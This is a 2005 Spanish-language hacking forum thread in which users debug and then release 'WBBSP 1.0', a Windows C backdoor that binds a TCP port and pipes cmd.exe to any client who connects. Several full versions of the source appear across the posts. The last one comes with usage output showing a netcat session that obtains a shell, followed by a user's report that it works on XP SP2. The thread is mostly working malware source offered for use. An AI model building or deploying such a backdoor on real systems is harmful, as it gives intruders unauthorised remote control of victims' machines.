Autor
|
Tema: Win Backdoor Bind port (Leído 16,033 veces)
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
si, cuando posteastes y lo probé linkeé a esa librería. pero no funciona
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
orphen_nb
Desconectado
Mensajes: 130
|
Pues no se por qué no te funciona, a mi los dos códigos que te he pasado me funcionan. Pero te compila sin problemas no? excepto por los warnings... Por cierto yo lo compilo con dev-c++...
|
|
|
En línea
|
Human knowledge belongs to the world
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
si, me compila bien, sin warnings ni nada. Yo lo compilo con el VC++
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
Según me han comentado, puede ser por el SP2. No obstante, dime si este codigo te funciona sin modificarle nada: #include <stdio.h> #include <winsock2.h> //la librería del socket #pragma comment(lib,"wsock32")
int main() { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //Winsock=socket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(4664); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); ExitProcess(1); } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,5)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc));//limpiamos start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0) { printf("ERROR"); }else{ printf("OK"); }
ExitProcess(0); }
|
|
« Última modificación: 15 Agosto 2005, 20:35 pm por Lympex »
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
orphen_nb
Desconectado
Mensajes: 130
|
No, no me funciona, ya te dije que con socket() no funciona (al menos a mi...) sin embargo si lo cambio a Winsock=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); si que me funciona no se por qué ???, pero sin modificar nada no me funciona...
Sí, puede ser por el SP2 porque yo no lo tengo...
|
|
|
En línea
|
Human knowledge belongs to the world
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
Entonces ahora te debería de funcionar sin cambiar nada. He añadido unos typecast en los nulls para que no me diera warnings. Puedesdecirme si te funciona sin modificar nada? #include <stdio.h> #include <winsock2.h> //la librería del socket #pragma comment(lib,"ws2_32")
int main() {
/*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso*/ PROCESS_INFORMATION info_proc; /*salida del proceso*/
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ //Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(4664); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); ExitProcess(1); } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,5)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); } printf("\n[+] Esperando cliente..."); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); }
printf("\n[+] Conexion establecida"); printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc));//limpiamos start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0) { printf("ERROR"); }else{ printf("OK"); }
ExitProcess(0); }
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
orphen_nb
Desconectado
Mensajes: 130
|
Sí, ahora si me funciona sin ninguna modificación.
|
|
|
En línea
|
Human knowledge belongs to the world
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
pues aquí dejo el source. Si alguien puede decir si le ha funcionado, y qué Windows es, service pack, etc. Que lo diga y así lo sabremos. /* ==================================================================================== || ## ####### ## ## ## ####### ####### ## ## ## || || ## ## ## ## ## ######## ## ## ######## ## ## || || ## ##### ######## ### ## ####### ####### ## #### || || ## ## ## ## ## ## ## ### ## ## ## || || ###### ####### ## ## ####### ####### ### ## ## ## || ====================================================================================
Nombre: WBBSP 1.0 Fichero: Win.Backdoor.Bind.Shell.Port.c Descripcion: Pone un socket a la escucha en un puerto determinado para dar shell Autor: Lympex Contacto: + Web: http://l-bytes.tk + Mail: lympex[at]gmail[dot]com Fecha: 16/08/2005
-::[========================================]::-
C:\>Win.Backdoor.Bind.Shell.Port.exe 5968
##################################### # -[ WBBSC 1.0 - by Lympex ]- # #-----------------------------------# # Windows Backdoor Bind Shell Port # #-----------------------------------# # Contacto: # # + HomePage: http://l-bytes.tk # # + Mail: lympex[at]gmail[dot]com # #####################################
[+] Creando el Socket...OK [+] Esperando conexion por el puerto 5968...OK [+] Lanzando shell...OK
C:\>
------------------------------------------------
D:\>nc.exe localhost 5968
Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
-::[========================================]::-
Greetz: ------- orphen_nb HaCkZaTaN P[i]
Nota: Posible fallo al dar shell en Windows XP Professional SP2 */
#include <stdio.h> #include <winsock2.h> //la librería del socket #pragma comment(lib,"ws2_32")
int main(int argc, char *argv[]) { /*para crear el socket*/ WSADATA wsaData; SOCKET Winsock;//el que escucha SOCKET Sock;//el que establece la conexion struct sockaddr_in Winsock_In; /*para crear el proceso de la shell*/ STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/ PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/ short Puerto;
printf("\n#####################################"); printf("\n# -[ WBBSC 1.0 - by Lympex ]- #"); printf("\n#-----------------------------------#"); printf("\n# Windows Backdoor Bind Shell Port #"); printf("\n#-----------------------------------#"); printf("\n# Contacto: #"); printf("\n# + HomePage: http://l-bytes.tk #"); printf("\n# + Mail: lympex[at]gmail[dot]com #"); printf("\n#####################################\n");
//comprobamos los argumentos if(argc<2 || argc>2) { printf("\n[+] Uso: %s puerto",argv[0]); printf("\n + Ejemplo: %s 5968\n",argv[0]); ExitProcess(0); } Puerto=atoi(argv[1]);
/*========================================= COMENZAMOS A PONER EL SOCKET A LA ESCUCHA =========================================*/ printf("\n[+] Creando el Socket..."); /*iniciamos el socket*/ WSAStartup(MAKEWORD(2,2), &wsaData); /*asociamos*/ //Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */ Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); /*rellenamos la estructura*/ Winsock_In.sin_port=htons(Puerto); Winsock_In.sin_family=AF_INET; Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY); /*unimos el socket*/ if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR) { printf("ERROR - Error al bindear el socket\n"); ExitProcess(1); } /*lo ponemos a la escucha, a la espera de clientes*/ if(listen(Winsock,5)==SOCKET_ERROR) { printf("ERROR - Error al poner el socket a la escucha\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); } printf("\n[+] Esperando conexion por el puerto %d...",Puerto); /*asociamos la conexión establecida a otro socket*/ if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET) { printf("ERROR - Error al aceptar\n"); /*salimos*/ printf("\n[+] Cerrando socket..."); WSACleanup(); printf("OK\n"); ExitProcess(1); }else{ printf("OK"); }
printf("\n[+] Lanzando shell...");
/*========================================= LANZAMOS LA SHELL =========================================*/ //rellenamos la estructura memset(&start_proc,0,sizeof(start_proc));//limpiamos start_proc.cb=sizeof(start_proc); start_proc.dwFlags=STARTF_USESTDHANDLES; start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (void *)Sock; //lanzamos la shell if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0) { printf("ERROR\n"); }else{ printf("OK\n"); }
ExitProcess(0); }
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
Gangrel
|
Te sacaste un 10 compañero, lo e probado en Xp profesional SP2 y me corre de maravilla, compilado con DevC++ 4.9.9.2
|
|
|
En línea
|
|
|
|
sch3m4
Ex-Staff
Desconectado
Mensajes: 1.608
Nihil est in intelectu quod prius not fuerit insen
|
voy a probar compilandolo con Dev C++ a ver si es por el VC++
|
|
|
En línea
|
SafetyBits
"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..
|
|
|
|
|